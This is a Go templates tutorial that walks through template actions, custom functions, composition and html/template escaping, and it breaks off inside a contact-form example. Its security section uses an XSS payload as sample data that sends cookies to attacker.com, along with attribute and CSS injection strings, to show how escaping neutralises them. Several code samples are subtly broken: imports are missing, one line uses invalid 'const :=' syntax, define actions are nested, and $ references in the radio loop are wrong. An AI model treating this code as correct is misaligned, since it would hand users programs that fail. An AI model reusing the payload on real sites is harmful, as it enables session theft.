Introduction to Go Templates

Go’s template packages provide powerful text processing capabilities that allow you to separate presentation from program logic. There are two main template packages:

  1. text/template - For general text processing
  2. html/template - For HTML-specific processing with security features

Why Use Templates?

Templates offer several advantages:

  • Separation of concerns (logic vs presentation)
  • Reusable content blocks
  • Automatic escaping for security
  • Structured output generation

Getting Started with Go Templates

Basic Template Syntax

Templates are defined as strings containing text and special “actions” enclosed in double curly braces:

package main
 
import (
    "os"
    "text/template"
)
 
func main() {
    // Define a simple template
    tmpl := template.Must(template.New("example").Parse("Hello, {{.}}!"))
    
    // Execute the template with data
    tmpl.Execute(os.Stdout, "World")
    // Output: Hello, World!
}

In this example:

  • We create a new template named “example”
  • We parse a template string with {{.}} as a placeholder
  • The dot . refers to the current data context (in this case, “World”)
  • The template is executed with “World” as input data

Template Actions

Actions in templates are commands that:

  • Insert data values
  • Control flow (conditionals, loops)
  • Define & call other templates

Common action types:

  • {{.}} - Insert the value of the current data context
  • {{.Field}} - Access a field or method of the current context
  • {{if .Condition}}...{{else}}...{{end}} - Conditional content
  • {{range .Items}}...{{end}} - Loop over items

Working with Data in Templates

Accessing Structured Data

Templates can work with complex Go data structures:

package main
 
import (
    "os"
    "text/template"
)
 
type Person struct {
    Name    string
    Age     int
    Hobbies []string
}
 
func main() {
    // Define template for structured data
    const tmplText = `
Name: {{.Name}}
Age: {{.Age}}
Hobbies:
{{- range .Hobbies}}
  - {{.}}
{{- end}}
`
    
    // Create sample data
    person := Person{
        Name: "Alice",
        Age:  28,
        Hobbies: []string{
            "Reading",
            "Hiking",
            "Photography",
        },
    }
    
    // Parse and execute template
    tmpl := template.Must(template.New("person").Parse(tmplText))
    tmpl.Execute(os.Stdout, person)
}

This produces:

Name: Alice
Age: 28
Hobbies:
  - Reading
  - Hiking
  - Photography

Notes:

  • {{.Name}} accesses the Name field of the Person struct
  • {{range .Hobbies}}...{{end}} loops over the Hobbies slice
  • {{- }} trims whitespace before the action
  • {{ -}} trims whitespace after the action

Accessing Maps and Nested Data

Templates can also work with maps and nested data structures:

package main
 
import (
    "os"
    "text/template"
)
 
func main() {
    // Define template for map data
    const tmplText = `
User: {{.username}}
Settings:
  Theme: {{.settings.theme}}
  Notifications: {{.settings.notifications}}
  Pages:
  {{- range .settings.pages}}
    - {{.}}
  {{- end}}
`
    
    // Create a map with nested data
    data := map[string]interface{}{
        "username": "johndoe",
        "settings": map[string]interface{}{
            "theme": "dark",
            "notifications": true,
            "pages": []string{"home", "profile", "settings"},
        },
    }
    
    // Parse and execute template
    tmpl := template.Must(template.New("user").Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

Output:

User: johndoe
Settings:
  Theme: dark
  Notifications: true
  Pages:
    - home
    - profile
    - settings

Variables and Pipelines

Template Variables

You can define variables within templates to store and reuse values:

package main
 
import (
    "os"
    "text/template"
)
 
type User struct {
    FirstName string
    LastName  string
    Email     string
}
 
func main() {
    const tmplText = `
{{/* Define a variable to store the full name */}}
{{$fullName := printf "%s %s" .FirstName .LastName}}
 
User Information:
Full Name: {{$fullName}}
Email: {{.Email}}
Username: {{$username := index (split .Email "@") 0}}{{$username}}
`
    
    user := User{
        FirstName: "Jane",
        LastName:  "Smith",
        Email:     "[email protected]",
    }
    
    funcMap := template.FuncMap{
        "split": func(s, sep string) []string {
            return strings.Split(s, sep)
        },
    }
    
    tmpl := template.New("user").Funcs(funcMap)
    tmpl = template.Must(tmpl.Parse(tmplText))
    tmpl.Execute(os.Stdout, user)
}

Output:

User Information:
Full Name: Jane Smith
Email: [email protected]
Username: jane.smith

Notes:

  • {{$fullName := printf "%s %s" .FirstName .LastName}} defines a variable
  • Variable names start with $
  • Variables are only available in the scope where they’re defined

Pipelines

Pipelines allow you to chain operations, similar to Unix pipes:

package main
 
import (
    "os"
    "strings"
    "text/template"
)
 
func main() {
    const tmplText := `
Original: {{.}}
Uppercase: {{. | toUpper}}
Title Case: {{. | title}}
Word Count: {{. | wordCount}}
First Word: {{. | splitWords | first}}
`
    
    funcMap := template.FuncMap{
        "toUpper": strings.ToUpper,
        "title": strings.Title,
        "splitWords": strings.Fields,
        "first": func(a []string) string {
            if len(a) > 0 {
                return a[0]
            }
            return ""
        },
        "wordCount": func(s string) int {
            return len(strings.Fields(s))
        },
    }
    
    text := "the quick brown fox jumps over the lazy dog"
    
    tmpl := template.New("pipeline").Funcs(funcMap)
    tmpl = template.Must(tmpl.Parse(tmplText))
    tmpl.Execute(os.Stdout, text)
}

Output:

Original: the quick brown fox jumps over the lazy dog
Uppercase: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG
Title Case: The Quick Brown Fox Jumps Over The Lazy Dog
Word Count: 9
First Word: the

Control Structures

Conditionals

Templates support conditional logic with if, else if, and else:

package main
 
import (
    "os"
    "text/template"
)
 
type Product struct {
    Name     string
    Price    float64
    InStock  bool
    Category string
}
 
func main() {
    const tmplText = `
Product: {{.Name}}
Price: ${{printf "%.2f" .Price}}
 
{{if .InStock}}
Status: In Stock
{{else}}
Status: Out of Stock
{{end}}
 
{{if lt .Price 10.0}}
Price Category: Budget
{{else if lt .Price 50.0}}
Price Category: Regular
{{else}}
Price Category: Premium
{{end}}
 
{{if and .InStock (eq .Category "Electronics")}}
Note: Free shipping available!
{{end}}
`
    
    product := Product{
        Name:     "Wireless Mouse",
        Price:    24.99,
        InStock:  true,
        Category: "Electronics",
    }
    
    tmpl := template.Must(template.New("product").Parse(tmplText))
    tmpl.Execute(os.Stdout, product)
}

Output:

Product: Wireless Mouse
Price: $24.99

Status: In Stock

Price Category: Regular

Note: Free shipping available!

Common comparison operators:

  • eq - Equal
  • ne - Not equal
  • lt - Less than
  • le - Less than or equal
  • gt - Greater than
  • ge - Greater than or equal

Logical operators:

  • and - Logical AND
  • or - Logical OR
  • not - Logical NOT

Loops (Range)

The range action is used to iterate over arrays, slices, maps, and channels:

package main
 
import (
    "os"
    "text/template"
)
 
type Inventory struct {
    Items []Item
}
 
type Item struct {
    Name     string
    Quantity int
    Price    float64
}
 
func main() {
    const tmplText = `
Inventory List:
{{range $index, $item := .Items}}
{{$index | inc}}. {{$item.Name}} - Qty: {{$item.Quantity}}, Price: ${{printf "%.2f" $item.Price}}
{{else}}
No items found in inventory.
{{end}}
 
Categories:
{{range $category, $items := .Categories}}
- {{$category}}: {{len $items}} items
{{end}}
`
    
    funcMap := template.FuncMap{
        "inc": func(i int) int { return i + 1 },
    }
    
    inventory := Inventory{
        Items: []Item{
            {"Laptop", 5, 899.99},
            {"Mouse", 10, 24.99},
            {"Keyboard", 7, 49.99},
        },
    }
    
    categories := map[string][]string{
        "Electronics": {"Laptop", "Mouse", "Keyboard"},
        "Books":       {"Go Programming", "Design Patterns"},
        "Office":      {"Desk Lamp", "Pen Set"},
    }
    
    data := struct {
        Items      []Item
        Categories map[string][]string
    }{
        Items:      inventory.Items,
        Categories: categories,
    }
    
    tmpl := template.New("inventory").Funcs(funcMap)
    tmpl = template.Must(tmpl.Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

Output:

Inventory List:
1. Laptop - Qty: 5, Price: $899.99
2. Mouse - Qty: 10, Price: $24.99
3. Keyboard - Qty: 7, Price: $49.99

Categories:
- Electronics: 3 items
- Books: 2 items
- Office: 2 items

Notes:

  • {{range $index, $item := .Items}} iterates with index and value
  • {{else}} is shown if the range target is empty
  • You can nest ranges for multi-dimensional data

The with Action

The with action changes the context of the dot (.) temporarily:

package main
 
import (
    "os"
    "text/template"
)
 
type Company struct {
    Name     string
    Address  Address
    CEO      Person
    Employees []Person
}
 
type Address struct {
    Street  string
    City    string
    State   string
    ZipCode string
}
 
type Person struct {
    Name  string
    Title string
    Email string
}
 
func main() {
    const tmplText = `
Company: {{.Name}}
 
{{with .Address}}
Address:
  {{.Street}}
  {{.City}}, {{.State}} {{.ZipCode}}
{{end}}
 
{{with .CEO}}
CEO: {{.Name}}, {{.Title}}
  Contact: {{.Email}}
{{end}}
 
Employees:
{{range .Employees}}
- {{.Name}}, {{.Title}}
{{end}}
`
    
    company := Company{
        Name: "Acme Corp",
        Address: Address{
            Street:  "123 Main St",
            City:    "San Francisco",
            State:   "CA",
            ZipCode: "94105",
        },
        CEO: Person{
            Name:  "John Doe",
            Title: "Chief Executive Officer",
            Email: "[email protected]",
        },
        Employees: []Person{
            {"Alice Smith", "Developer", "[email protected]"},
            {"Bob Johnson", "Designer", "[email protected]"},
            {"Carol Williams", "Manager", "[email protected]"},
        },
    }
    
    tmpl := template.Must(template.New("company").Parse(tmplText))
    tmpl.Execute(os.Stdout, company)
}

Output:

Company: Acme Corp

Address:
  123 Main St
  San Francisco, CA 94105

CEO: John Doe, Chief Executive Officer
  Contact: [email protected]

Employees:
- Alice Smith, Developer
- Bob Johnson, Designer
- Carol Williams, Manager

Notes:

  • Inside the with block, . refers to the specified field
  • {{with .Address}} changes context to the Address field
  • The with action is skipped if the value is empty

Template Functions

Built-in Functions

Go templates include several built-in functions:

package main
 
import (
    "os"
    "text/template"
)
 
func main() {
    const tmplText = `
{{/* Basic operations */}}
len: {{len .Items}} items
index: {{index .Items 1}}
 
{{/* Logical operations */}}
and: {{and true .HasPermission}}
or: {{or .IsAdmin .HasPermission}}
not: {{not .IsRestricted}}
 
{{/* String operations */}}
print: {{print "Hello " "World"}}
printf: {{printf "%.2f" 3.14159}}
 
{{/* Comparison */}}
Equals: {{eq .Value 10}}
Greater than: {{gt .Value 5}}
Less than or equal: {{le .Value 15}}
`
    
    data := map[string]interface{}{
        "Items":        []string{"apple", "banana", "cherry"},
        "HasPermission": true,
        "IsAdmin":       false,
        "IsRestricted":  false,
        "Value":         10,
    }
    
    tmpl := template.Must(template.New("builtins").Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

Output:

len: 3 items
index: banana

and: true
or: true
not: true

print: Hello World
printf: 3.14

Equals: true
Greater than: true
Less than or equal: true

Custom Functions

You can define custom functions to extend template capabilities:

package main
 
import (
    "os"
    "strings"
    "text/template"
    "time"
)
 
func main() {
    const tmplText = `
{{/* String manipulation */}}
Uppercase: {{upper .Text}}
Title Case: {{title .Text}}
Join: {{join .Tags ", "}}
 
{{/* Calculations */}}
Sum: {{sum 1 2 3 4}}
Discount: {{discount .Price 15}}%
 
{{/* Date formatting */}}
Today: {{formatDate .Now "January 2, 2006"}}
Time ago: {{timeAgo .CreatedAt}}
`
    
    funcMap := template.FuncMap{
        "upper":      strings.ToUpper,
        "title":      strings.Title,
        "join":       strings.Join,
        "sum":        func(nums ...int) int {
            total := 0
            for _, n := range nums {
                total += n
            }
            return total
        },
        "discount": func(price, percent float64) float64 {
            return price * (percent / 100)
        },
        "formatDate": func(t time.Time, format string) string {
            return t.Format(format)
        },
        "timeAgo": func(t time.Time) string {
            duration := time.Since(t)
            hours := int(duration.Hours())
            
            if hours < 1 {
                return "just now"
            } else if hours < 24 {
                return fmt.Sprintf("%d hours ago", hours)
            } else {
                days := hours / 24
                return fmt.Sprintf("%d days ago", days)
            }
        },
    }
    
    data := map[string]interface{}{
        "Text":      "hello world example",
        "Tags":      []string{"go", "templates", "tutorial"},
        "Price":     49.99,
        "Now":       time.Now(),
        "CreatedAt": time.Now().Add(-48 * time.Hour),
    }
    
    tmpl := template.New("custom").Funcs(funcMap)
    tmpl = template.Must(tmpl.Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

Notes:

  • Function maps must be defined and attached to the template before parsing
  • Functions can take multiple arguments and return a single result
  • Functions should return a value that can be inserted into the template

Template Composition

Defining Named Templates

Templates can be defined and called by name:

package main
 
import (
    "os"
    "text/template"
)
 
func main() {
    const tmplText = `
{{/* Define a template for a list item */}}
{{define "item"}}
- {{.Name}}: {{.Description}}
{{end}}
 
{{/* Define a template for a section */}}
{{define "section"}}
## {{.Title}}
{{range .Items}}
{{template "item" .}}
{{end}}
{{end}}
 
# Documentation
 
{{template "section" .Introduction}}
 
{{template "section" .Features}}
`
    
    type Item struct {
        Name        string
        Description string
    }
    
    type Section struct {
        Title string
        Items []Item
    }
    
    data := struct {
        Introduction Section
        Features     Section
    }{
        Introduction: Section{
            Title: "Introduction",
            Items: []Item{
                {"Overview", "This document describes the system"},
                {"Purpose", "To help users understand the architecture"},
            },
        },
        Features: Section{
            Title: "Features",
            Items: []Item{
                {"Templates", "Reusable components for generating text"},
                {"Functions", "Custom operations for data transformation"},
                {"Composition", "Building complex templates from small parts"},
            },
        },
    }
    
    tmpl := template.Must(template.New("docs").Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

Output:

# Documentation

## Introduction

- Overview: This document describes the system
- Purpose: To help users understand the architecture

## Features

- Templates: Reusable components for generating text
- Functions: Custom operations for data transformation
- Composition: Building complex templates from small parts

Template Inheritance

You can implement template inheritance patterns:

package main
 
import (
    "os"
    "text/template"
)
 
func main() {
    const tmplText = `
{{/* Base layout template */}}
{{define "base"}}
<!DOCTYPE html>
<html>
<head>
    <title>{{template "title" .}}</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/styles.css">
</head>
<body>
    <header>
        <nav>
            <a href="/">Home</a>
            <a href="/about">About</a>
            <a href="/contact">Contact</a>
        </nav>
    </header>
    
    <main>
        {{template "content" .}}
    </main>
    
    <footer>
        <p>&copy; {{.Year}} My Website</p>
    </footer>
</body>
</html>
{{end}}
 
{{/* Default title template */}}
{{define "title"}}My Website{{end}}
 
{{/* Default content template */}}
{{define "content"}}
<h1>Default Content</h1>
<p>This is the default content.</p>
{{end}}
 
{{/* Home page content */}}
{{define "content-home"}}
<h1>Welcome to My Website</h1>
<p>This is the home page.</p>
<ul>
    {{range .FeaturedItems}}
    <li>{{.}}</li>
    {{end}}
</ul>
{{end}}
 
{{/* About page content */}}
{{define "content-about"}}
<h1>About Us</h1>
<p>We are a company that specializes in Go templating.</p>
{{end}}
 
{{/* Render the home page */}}
{{define "home"}}
{{template "base" .}}
{{end}}
 
{{/* Render the about page */}}
{{define "about"}}
{{define "title"}}About - My Website{{end}}
{{define "content"}}
{{template "content-about" .}}
{{end}}
{{template "base" .}}
{{end}}
`
    
    data := struct {
        Year          int
        FeaturedItems []string
    }{
        Year:          2025,
        FeaturedItems: []string{"Go Templates", "Web Development", "Backend Services"},
    }
    
    tmpl := template.Must(template.New("website").Parse(tmplText))
    
    // Render the home page
    os.Stdout.WriteString("--- HOME PAGE ---\n")
    tmpl.ExecuteTemplate(os.Stdout, "home", data)
    
    // Render the about page
    os.Stdout.WriteString("\n\n--- ABOUT PAGE ---\n")
    tmpl.ExecuteTemplate(os.Stdout, "about", data)
}

This example demonstrates creating a base template with blocks that can be overridden by specific pages.

Template Blocks

The block action provides a way to define default content that can be overridden:

package main
 
import (
    "os"
    "text/template"
)
 
func main() {
    const baseTemplate = `
<!DOCTYPE html>
<html>
<head>
    <title>{{block "title" .}}Default Title{{end}}</title>
</head>
<body>
    <header>
        {{block "header" .}}
        <h1>Default Header</h1>
        {{end}}
    </header>
    
    <main>
        {{block "content" .}}
        <p>Default content</p>
        {{end}}
    </main>
    
    <footer>
        {{block "footer" .}}
        <p>&copy; 2025 Default Footer</p>
        {{end}}
    </footer>
</body>
</html>
`
    
    const pageTemplate = `
{{define "title"}}Product Page{{end}}
{{define "header"}}
<h1>{{.Product.Name}}</h1>
<p>Category: {{.Product.Category}}</p>
{{end}}
{{define "content"}}
<div class="product">
    <p>Price: ${{printf "%.2f" .Product.Price}}</p>
    <p>{{.Product.Description}}</p>
    <button>Add to Cart</button>
</div>
{{end}}
`
    
    // Create a template set
    tmpl := template.Must(template.New("base").Parse(baseTemplate))
    tmpl = template.Must(tmpl.Parse(pageTemplate))
    
    // Data for the template
    data := struct {
        Product struct {
            Name        string
            Category    string
            Price       float64
            Description string
        }
    }{
        Product: struct {
            Name        string
            Category    string
            Price       float64
            Description string
        }{
            Name:        "Ergonomic Keyboard",
            Category:    "Computer Accessories",
            Price:       79.99,
            Description: "An ergonomic keyboard designed for comfort and efficiency.",
        },
    }
    
    // Execute the template with the data
    tmpl.Execute(os.Stdout, data)
}

HTML Templates and Security

HTML Template Basics

The html/template package works similarly to text/template but provides context-sensitive escaping:

package main
 
import (
    "html/template" // Note the import path
    "os"
)
 
func main() {
    const tmplText = `
<!DOCTYPE html>
<html>
<head>
    <title>{{.Title}}</title>
</head>
<body>
    <h1>{{.Title}}</h1>
    <p>{{.Content}}</p>
    
    <div class="user-comments">
        {{range .Comments}}
        <div class="comment">
            <strong>{{.Author}}</strong>
            <p>{{.Text}}</p>
        </div>
        {{end}}
    </div>
    
    <script>
        const pageTitle = "{{.Title}}";
        const commentCount = {{len .Comments}};
    </script>
</body>
</html>
`
    
    // Data with potentially unsafe content
    data := struct {
        Title    string
        Content  string
        Comments []struct {
            Author string
            Text   string
        }
    }{
        Title:   "Security Example",
        Content: "This is <b>HTML</b> content with <script>alert('XSS attack!');</script>",
        Comments: []struct {
            Author string
            Text   string
        }{
            {
                Author: "Alice",
                Text:   "Great article!",
            },
            {
                Author: "Malicious User",
                Text:   "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>",
            },
        },
    }
    
    // Parse and execute the template
    tmpl := template.Must(template.New("page").Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

In this example:

  • html/template automatically escapes HTML in .Content and comment text
  • The malicious script in the comment is rendered harmless
  • JavaScript values are also properly escaped

Context-Aware Escaping

html/template uses context-aware escaping based on where values appear:

package main
 
import (
    "html/template"
    "os"
)
 
func main() {
    const tmplText = `
<!DOCTYPE html>
<html>
<head>
    <title>{{.Title}}</title>
    <style>
        .user-bg {
            background-color: {{.UserColor}};
        }
    </style>
</head>
<body>
    <h1>{{.Title}}</h1>
    
    <div class="user" id="user-{{.UserID}}" data-name="{{.UserName}}">
        <a href="/users/{{.UserID}}">Profile</a>
        <a href="{{.UserWebsite}}">Website</a>
    </div>
    
    <script>
        const userData = {
            id: {{.UserID}},
            name: "{{.UserName}}",
            role: "{{.UserRole}}"
        };
    </script>
</body>
</html>
`
    
    data := struct {
        Title       string
        UserID      int
        UserName    string
        UserColor   string
        UserWebsite string
        UserRole    string
    }{
        Title:       "User Profile",
        UserID:      42,
        UserName:    "Bob O'Reilly",
        UserColor:   "#ff0000; javascript:alert('CSS Injection')",
        UserWebsite: "https://example.com\" onmouseover=\"alert('XSS')\"",
        UserRole:    "admin\"; console.log('Escaped properly')",
    }
    
    tmpl := template.Must(template.New("page").Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

This example shows how html/template handles different contexts:

  • HTML attributes
  • CSS values
  • JavaScript string literals
  • URL attributes

Each context requires different escaping rules, and html/template applies them automatically.

Safe HTML Content

Sometimes you need to include HTML content that you trust and don’t want escaped:

package main
 
import (
    "html/template"
    "os"
)
 
func main() {
    const tmplText = `
<!DOCTYPE html>
<html>
<head>
    <title>{{.Title}}</title>
</head>
<body>
    <h1>{{.Title}}</h1>
    
    <div class="content">
        {{.Content}}
    </div>
    
    <div class="safe-html">
        {{.SafeHTML}}
    </div>
</body>
</html>
`
    
    data := struct {
        Title    string
        Content  string
        SafeHTML template.HTML
    }{
        Title:    "Safe HTML Example",
        Content:  "<strong>This will be escaped</strong>",
        SafeHTML: template.HTML("<strong>This will NOT be escaped</strong>"),
    }
    
    tmpl := template.Must(template.New("page").Parse(tmplText))
    tmpl.Execute(os.Stdout, data)
}

Similar types exist for other contexts:

  • template.HTML - For HTML content
  • template.CSS - For CSS content
  • template.JS - For JavaScript content
  • template.URL - For URL values
  • template.Srcset - For srcset attribute values

Warning: Only use these types with content you trust completely. Improper use can lead to security vulnerabilities.

Advanced Template Techniques

Template Parsing Strategies

There are different ways to parse templates:

package main
 
import (
    "fmt"
    "os"
    "path/filepath"
    "text/template"
)
 
func main() {
    // Method 1: Parse a string
    tmpl1, err := template.New("inline").Parse("Hello, {{.}}!")
    if err != nil {
        fmt.Println("Error parsing inline template:", err)
        return
    }
    
    // Method 2: Parse a single file
    tmpl2, err := template.ParseFiles("header.tmpl")
    if err != nil {
        fmt.Println("Error parsing file:", err)
        return
    }
    
    // Method 3: Parse multiple files
    tmpl3, err := template.ParseFiles("base.tmpl", "content.tmpl", "footer.tmpl")
    if err != nil {
        fmt.Println("Error parsing multiple files:", err)
        return
    }
    
    // Method 4: Parse files using a pattern
    tmpl4, err := template.ParseGlob("templates/*.tmpl")
    if err != nil {
        fmt.Println("Error parsing with glob:", err)
        return
    }
    
    // Method 5: Parse files and add to an existing template
    tmpl5 := template.New("base")
    tmpl5, err = tmpl5.ParseFiles("base.tmpl")
    if err != nil {
        fmt.Println("Error in first parse:", err)
        return
    }
    
    // Add more templates to the set
    tmpl5, err = tmpl5.ParseFiles("partials/header.tmpl", "partials/footer.tmpl")
    if err != nil {
        fmt.Println("Error in second parse:", err)
        return
    }
}
 
// The template.Must helper function
func templateMustExample() {
    // Without template.Must
    tmpl, err := template.New("example").Parse("Value: {{.}}")
    if err != nil {
        // handle error
        panic(err)
    }
    
    // With template.Must - panics if error occurs
    tmpl = template.Must(template.New("example").Parse("Value: {{.}}"))
    
    // Useful for global templates that must be valid
    var templates = template.Must(template.ParseGlob("templates/*.tmpl"))
}
 
### Organizing Templates in a Web Application
 
A common pattern for organizing templates in a web application:
 
```go
package main
 
import (
    "html/template"
    "log"
    "net/http"
    "path/filepath"
)
 
// Global template cache
var templates map[string]*template.Template
 
// Initialize templates at startup
func init() {
    // Map to store our templates
    templates = make(map[string]*template.Template)
    
    // Common layouts
    layouts, err := filepath.Glob("templates/layouts/*.tmpl")
    if err != nil {
        log.Fatal(err)
    }
    
    // Pages
    pages, err := filepath.Glob("templates/pages/*.tmpl")
    if err != nil {
        log.Fatal(err)
    }
    
    // Shared partials
    partials, err := filepath.Glob("templates/partials/*.tmpl")
    if err != nil {
        log.Fatal(err)
    }
    
    // For each page, create a template set with layout and partials
    for _, page := range pages {
        name := filepath.Base(page)
        
        // Start with partials and layout
        files := append(partials, layouts...)
        // Add the page itself
        files = append(files, page)
        
        // Parse them all into a template set
        templates[name] = template.Must(template.ParseFiles(files...))
    }
}
 
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
    // Get the template from our cache
    t, ok := templates[tmpl]
    if !ok {
        http.Error(w, "Template not found", http.StatusInternalServerError)
        return
    }
    
    // Execute the template, using "layout" as the base
    err := t.ExecuteTemplate(w, "layout", data)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
    }
}
 
func homeHandler(w http.ResponseWriter, r *http.Request) {
    data := struct {
        Title string
        User  string
    }{
        Title: "Home Page",
        User:  "Guest",
    }
    
    renderTemplate(w, "home.tmpl", data)
}
 
func aboutHandler(w http.ResponseWriter, r *http.Request) {
    data := struct {
        Title   string
        Content string
    }{
        Title:   "About Us",
        Content: "We are a Go templating company.",
    }
    
    renderTemplate(w, "about.tmpl", data)
}
 
func main() {
    http.HandleFunc("/", homeHandler)
    http.HandleFunc("/about", aboutHandler)
    
    log.Println("Server started on :8080")
    log.Fatal(http.ListenAndServe(":8080", nil))
}

This approach:

  • Preloads all templates at startup for better performance
  • Organizes templates into layouts, pages, and reusable partials
  • Provides a clean structure for template management
  • Simplifies rendering with a helper function

Practical Examples

Example 1: Data Table with Pagination

package main
 
import (
    "html/template"
    "math"
    "net/http"
    "strconv"
)
 
type Product struct {
    ID       int
    Name     string
    Price    float64
    Category string
    InStock  bool
}
 
type PaginatedData struct {
    Items      []Product
    Pagination struct {
        Total       int
        PerPage     int
        CurrentPage int
        TotalPages  int
        HasPrev     bool
        HasNext     bool
    }
}
 
const tableTemplate = `
<div class="product-table">
    <h2>Products ({{.Pagination.Total}} total)</h2>
    
    <table>
        <thead>
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Price</th>
                <th>Category</th>
                <th>Status</th>
            </tr>
        </thead>
        <tbody>
            {{range .Items}}
            <tr class="{{if not .InStock}}out-of-stock{{end}}">
                <td>{{.ID}}</td>
                <td>{{.Name}}</td>
                <td>${{printf "%.2f" .Price}}</td>
                <td>{{.Category}}</td>
                <td>{{if .InStock}}In Stock{{else}}Out of Stock{{end}}</td>
            </tr>
            {{else}}
            <tr>
                <td colspan="5">No products found</td>
            </tr>
            {{end}}
        </tbody>
    </table>
    
    <div class="pagination">
        {{if .Pagination.HasPrev}}
        <a href="?page={{subtract .Pagination.CurrentPage 1}}" class="prev">&laquo; Previous</a>
        {{else}}
        <span class="prev disabled">&laquo; Previous</span>
        {{end}}
        
        {{range $i := pageRange 1 .Pagination.TotalPages}}
            {{if eq $i $.Pagination.CurrentPage}}
            <span class="current">{{$i}}</span>
            {{else}}
            <a href="?page={{$i}}">{{$i}}</a>
            {{end}}
        {{end}}
        
        {{if .Pagination.HasNext}}
        <a href="?page={{add .Pagination.CurrentPage 1}}" class="next">Next &raquo;</a>
        {{else}}
        <span class="next disabled">Next &raquo;</span>
        {{end}}
    </div>
</div>
`
 
func productsHandler(w http.ResponseWriter, r *http.Request) {
    // Get page from query parameter
    pageStr := r.URL.Query().Get("page")
    page, err := strconv.Atoi(pageStr)
    if err != nil || page < 1 {
        page = 1
    }
    
    // Create sample data
    allProducts := []Product{
        {1, "Laptop", 1299.99, "Electronics", true},
        {2, "Headphones", 149.99, "Electronics", true},
        {3, "Mouse", 29.99, "Electronics", false},
        {4, "Keyboard", 59.99, "Electronics", true},
        {5, "Monitor", 249.99, "Electronics", true},
        {6, "Desk Chair", 199.99, "Furniture", true},
        {7, "Desk", 299.99, "Furniture", false},
        {8, "Bookshelf", 149.99, "Furniture", true},
        {9, "Coffee Mug", 12.99, "Kitchen", true},
        {10, "Water Bottle", 24.99, "Kitchen", true},
        {11, "Notebook", 9.99, "Supplies", true},
        {12, "Pen Set", 19.99, "Supplies", false},
        {13, "Backpack", 79.99, "Accessories", true},
        {14, "Phone Case", 24.99, "Accessories", true},
        {15, "Tablet", 399.99, "Electronics", true},
    }
    
    // Pagination settings
    perPage := 5
    totalItems := len(allProducts)
    totalPages := int(math.Ceil(float64(totalItems) / float64(perPage)))
    
    // Validate page number
    if page > totalPages {
        page = totalPages
    }
    
    // Calculate start and end indices
    start := (page - 1) * perPage
    end := start + perPage
    if end > totalItems {
        end = totalItems
    }
    
    // Create paginated data
    var data PaginatedData
    data.Items = allProducts[start:end]
    data.Pagination.Total = totalItems
    data.Pagination.PerPage = perPage
    data.Pagination.CurrentPage = page
    data.Pagination.TotalPages = totalPages
    data.Pagination.HasPrev = page > 1
    data.Pagination.HasNext = page < totalPages
    
    // Create template functions
    funcMap := template.FuncMap{
        "add": func(a, b int) int {
            return a + b
        },
        "subtract": func(a, b int) int {
            return a - b
        },
        "pageRange": func(start, end int) []int {
            var result []int
            for i := start; i <= end; i++ {
                result = append(result, i)
            }
            return result
        },
    }
    
    // Parse and execute template
    tmpl := template.Must(template.New("products").Funcs(funcMap).Parse(tableTemplate))
    tmpl.Execute(w, data)
}

Example 2: Form Rendering and Validation

package main
 
import (
    "html/template"
    "net/http"
    "strings"
)
 
type FormField struct {
    Name        string
    Label       string
    Type        string
    Value       string
    Placeholder string
    Required    bool
    Error       string
    Options     []struct {
        Value string
        Label string
    }
}
 
type Form struct {
    Fields      []FormField
    Action      string
    Method      string
    SubmitLabel string
    HasErrors   bool
}
 
const formTemplate = `
<form action="{{.Action}}" method="{{.Method}}">
    {{range .Fields}}
    <div class="form-group {{if .Error}}has-error{{end}}">
        <label for="{{.Name}}">{{.Label}}{{if .Required}} *{{end}}</label>
        
        {{if eq .Type "textarea"}}
        <textarea
            name="{{.Name}}"
            id="{{.Name}}"
            placeholder="{{.Placeholder}}"
            {{if .Required}}required{{end}}
        >{{.Value}}</textarea>
        
        {{else if eq .Type "select"}}
        <select
            name="{{.Name}}"
            id="{{.Name}}"
            {{if .Required}}required{{end}}
        >
            <option value="">-- Select {{.Label}} --</option>
            {{range .Options}}
            <option value="{{.Value}}" {{if eq .Value $.Value}}selected{{end}}>
                {{.Label}}
            </option>
            {{end}}
        </select>
        
        {{else if eq .Type "radio"}}
        <div class="radio-group">
            {{range .Options}}
            <label class="radio-label">
                <input
                    type="radio"
                    name="{{$.Name}}"
                    value="{{.Value}}"
                    {{if eq .Value $.Value}}checked{{end}}
                />
                {{.Label}}
            </label>
            {{end}}
        </div>
        
        {{else if eq .Type "checkbox"}}
        <input
            type="checkbox"
            name="{{.Name}}"
            id="{{.Name}}"
            value="true"
            {{if eq .Value "true"}}checked{{end}}
        />
        
        {{else}}
        <input
            type="{{.Type}}"
            name="{{.Name}}"
            id="{{.Name}}"
            value="{{.Value}}"
            placeholder="{{.Placeholder}}"
            {{if .Required}}required{{end}}
        />
        {{end}}
        
        {{if .Error}}
        <div class="error-message">{{.Error}}</div>
        {{end}}
    </div>
    {{end}}
    
    <div class="form-actions">
        <button type="submit">{{.SubmitLabel}}</button>
    </div>
</form>
`
 
func contactFormHandler(w http.ResponseWriter, r *http.Request) {
    // Create form structure
    form := Form{
        Action:      "/contact",
        Method:      "post",
        SubmitLabel: "Send Message",
        HasErrors:   false,
        Fields: []FormField{
            {
                Name:        "name",
                Label:       "Your Name",
                Type:        "text",
                Value:       "",
                Placeholder: "John Doe",
                Required:    true,
            },
            {
                Name:        "email",
                Label:       "Email Address",
                Type:        "email",
                Value:       "",
                Placeholder: "[email protected]",
                Required:    true,
            },
            {
                Name:        "subject",
                Label:       "Subject",
                Type:        "select",
                Value:       "",
                Required:    true,
                Options: []struct {
                    Value string
                    Label string
                }{
                    {"question", "General Question"},
                    {"support", "Technical Support"},
                    {"feedback", "Feedback"},
                    {"other", "Other"},
                },
            },
            {
                Name:        "message",
                Label:       "Message",
                Type:        "textarea",
                Value:       "",
                Placeholder: "Your message here...",
                Required:    true,
            },
            {
                Name:     "subscribe",
